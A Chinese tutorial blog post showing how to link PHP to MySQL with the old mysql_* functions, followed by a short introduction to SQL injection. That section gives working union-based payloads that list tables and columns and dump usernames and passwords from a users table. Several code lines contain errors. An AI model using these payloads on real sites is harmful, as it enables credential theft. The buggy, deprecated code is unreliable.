当前位置: 首页 > web >正文

MySQL数据库下篇

#作者:允砸儿

#日期:乙巳青蛇年  四月十四

今天笔者将会把MySQL数据库的知识完结,再者笔者会浅写一下sql注入的内容。在后面笔者会逐渐的将网安世界徐徐展开。

php与mysql联动

编程接口

笔者在前面的文章写了php的内容,现在我们就将php和MySQL联结起来,做一个动态的php的页面,如果只在php上面显示那么内容将是一个死值,互相结合能保证后端数据库在内容上的更新。

在PHP中,与SQL数据库进行交互通常涉及使用数据库扩展库,如PDO(PHPData0biects)或MySQLi这些库提供了与数据库建立连接、执行查询和处理结果的方法。

mysql相关函数

再互相结合之前我们需要了解一些函数。ps:在这里笔者用的php版本是5.538,高版本已经不能使用该函数了。如果达到7.xx,我们需要降低一下版本。

1、mysql_connet():连接数据库

2、mysql_select_db():选择数据库

3、mysql_query():执行sql语句

4、mysql_asssoc():获取单条数据,返回关联数组

5、mysql_num_rows():获取查询的条数

6、mysql_colse():关闭数据库

php动态窗口

-- 笔者先在这里讲一下关于php与数据库连接时候出现一直报错的问题。

1、首先版本可能太高了无法向下兼容。

2、我们在更换版本过后需要重新启动php。

3、phpstudy的版本要和phpstorm版本一致

4、连接数据库成功后出现网页乱码。这时候我们要检查数据库是否设置utf8

检查html里面是否声明utf8

检查php是否mysql_set_charset('utf8')

检查是否在php表头声明header('Content-Type: text/html; charset=utf-8');

-----------------------------------------------------------------------------------------------

接下来让我们开始创建表和html

1、在数据库里面先建两个信息表

一个是id name  address  sex parents age  u-id

另一个是u-id class

     

2、数据库操作一般步骤

2.1

在<?php?>里面与数据库建立连接

(1、与mysql建立连接代码为
mysql_connect('127.0.0.1','root','root')#记住是IP+账号与密码
(2、设置编码
mysql_set_charset('utf8');
(3、执行查询的操作
$sql='select * from banji,xuesheng where banji.u-id=xuesheng.u-id'
(4、点击sql语句,执行sql语句
$result=mysql_query($sql);
(5、做一个条件判断用关联数组的方式获取数据表当中的值
$list=arry();
while($row=mysql_fetch_assoc($sql)){
    $list[]=$row;
}
//mysql_fetch_assoc($result)//以关联数据的形式去获取,
//怎么能去获取所有资源,建一个数组,函数会在数组里面一一去执行
//把每一条数组都赋值给列表,一个数组放在另一个数组里面就是二维数组
(6、关闭连接
$stop=mysql_close($coon)

(7、如果我们在显示的时候出现乱码,我们需要在php里面声明一下编码是utf-8

 2.2

在<?php?>里面建立一个HTML表格

(1、使用英文符号的!进行快速建立

(2、调用table标签,修饰表格让它变得美观

(3、在html嵌套php语句

<?php foreach ($list as $v){?>
<td><?php echo $v ['id']   ?></td>
<td><?php echo $v ['name']   ?></td>
<td><?php echo $v ['address']   ?></td>
<td><?php echo $v ['sex']?></td>
<td><?php echo $v ['parents']   ?></td>
<td><?php echo $v ['age']   ?></td>
<td><?php echo $v ['class']   ?></td>
<?php }?>

这样php与数据库就可以进行连接,数据库变动则显示页面变动。

浅谈一下sql注入

我们需要知道sql注入是一种攻击手段,通过逻辑漏洞和利用sql本身的弱点漏洞去进行sql注入。

要在网站上查找 sql 注入,您需要了解您需要查找未过滤的输入参数。

我们用单引号 '     去做注入

在网站上查找变量,例如 news.php?id=1
在请求中添加引号,使其显示 news.php?id=1'   

如果网站上启用了错误消息,那么我们将看到一个错误:
mysql_query(): 您的 SQL 语法有错误 请检查与您的 MySQL 服务器版本相对应的手册

我们将尝试发送一个请求 news.php?id=-1' -- (末尾有一个空格),用单引号我们把整个的php语句就闭合成功。

比如:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

在这条代码里面我们可以清楚的看见id='$id'可以用单引号+-- (注释)把原来要输出的内容进行破坏使前面查询的结果为空,在后面补上我们想要得到的东西,例如查询数据表的字段名、表名....

再比如:?/id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- a

使用union查询group_concat去连接把那一列数据都连接起来去information_schema.tables这张表去看ttable_name字段在后面加一个条件table_schema=database()这一个数据库。

我们得到了一些表的名字后找到最重要的那一张进行爆破。比如:users表,我们就能得到该数据的用户名和密码。

比如:

?/id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' -- a

?/id=-1' UNION SELECT 1,username,password FROM users -- a

总结:笔者在这里只是浅浅的写一下什么是sql注入,在后面的内容中我会着重的写一下sql注入实战以及如何挖掘漏洞。现在笔者将mysql上中下三篇内容已全部完结,就像一个项目准备阶段一样网安之路才刚刚开始。

最后笔者看到过一句话感触颇深:"在你即将加入的竞技场上,每个对手都可能是十年磨剑的行业先驱。但代码世界的奇妙之处在于:当算法流淌在你的血液里,当创新成为你的本能反应,技术热情会自然引领你找到破局之道。"与君共勉。

http://www.xdnf.cn/news/5389.html

相关文章:

  • 缓存(4):常见缓存 概念、问题、现象 及 预防问题
  • [项目总结] 抽奖系统项目技术应用总结
  • 小土堆pytorch--torchvision中的数据集的使用dataloader的使用
  • 设计模式之工厂模式(二):实际案例
  • 支持selenium的chrome driver更新到136.0.7103.92
  • 飞蛾扑火算法matlab实现
  • 【仿真】【具身智能仿真】Isaac Simlab云端部署(入门学习性价比最高的方式)
  • 深入解析多选字段的存储与查询:从位运算到数据库设计的最佳实践
  • 仿真生成激光干涉包裹相位数据-用于深度学习训练!
  • Java SE(11)——内部类
  • JavaSE核心知识点02面向对象编程02-07(枚举)
  • 【Bootstrap V4系列】学习入门教程之 组件-巨幕(Jumbotron)和列表组(List group)
  • 常用的rerank模型有哪些?都有什么优势?
  • Python 自动化脚本开发秘籍:从入门到实战进阶(6/10)
  • 螺旋驱动管道机器人的结构设计
  • OpenWrt开发第7篇:OpenWrt配置支持Web界面
  • 网址为 http://xxx:xxxx/的网页可能暂时无法连接,或者它已永久性地移动到了新网址
  • Linux共享内存深度解析:从内核机制到云原生应用
  • DAY 17 训练
  • 基于Dockers的Bitwarden的私有本地部署
  • 动态规划之二维费用的背包问题解析
  • CDGP历次主观题真题回忆
  • 深入浅出之STL源码分析4_类模版
  • Bitacora:基因组组件中基因家族识别和注释的综合工具
  • PTA:jmu-ds-拓扑排序
  • 安装:Kali2025+Docker
  • 【Redis】string 字符串
  • RT-Thread 深入系列 Part 4:组件包管理与软件框架
  • CarConfig自动化测试思路(CCP)
  • MiInsertVad函数分析之nt!MMVAD结构